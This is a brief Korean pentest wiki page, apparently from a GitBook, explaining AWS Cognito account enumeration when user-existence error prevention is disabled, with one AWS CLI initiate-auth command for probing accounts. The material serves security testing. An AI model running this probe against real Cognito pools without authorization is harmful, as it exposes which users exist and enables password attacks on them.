> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/cloud/aws/undefined/cognito-account-enumeration.md).

# Cognito Account Enumeration

<figure><img src="https://1400861083-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiA9eS35C4waXdT3c51bW%2Fuploads%2FdLEbqck9HnqaDpCfsSTh%2F%EC%A0%9C%EB%AA%A9%20%EC%97%86%EC%9D%8C.png?alt=media&amp;token=fc9b5bf2-061c-47ee-9e73-5d17769649e2" alt=""><figcaption></figcaption></figure>

Cognito에서 패스워드 기반 로그인 시 `사용자 존재 오류 방지` 기능이 꺼져있다면, 존재하지 않는 계정과 존재하는 계정으로 로그인을 시도했을 때 서버의 응답 차이로부터 계정 열거가 가능합니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># 계정 존재유무 확인
</strong>aws cognito-idp initiate-auth --region '&#x3C;region>' --client-id '&#x3C;client-id>' --auth-flow USER_PASSWORD_AUTH --auth-parameters USERNAME=admin@test.com,PASSWORD=x
</code></pre>

## Demo

<figure><img src="https://1400861083-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FiA9eS35C4waXdT3c51bW%2Fuploads%2F6PDi2J4DVdq8Qwuza1uZ%2F2025-11-29%2016-03-14.gif?alt=media&amp;token=022be733-e612-431a-a674-8c66fe4873f4" alt=""><figcaption></figcaption></figure>

## References

{% embed url="<https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/>" %}
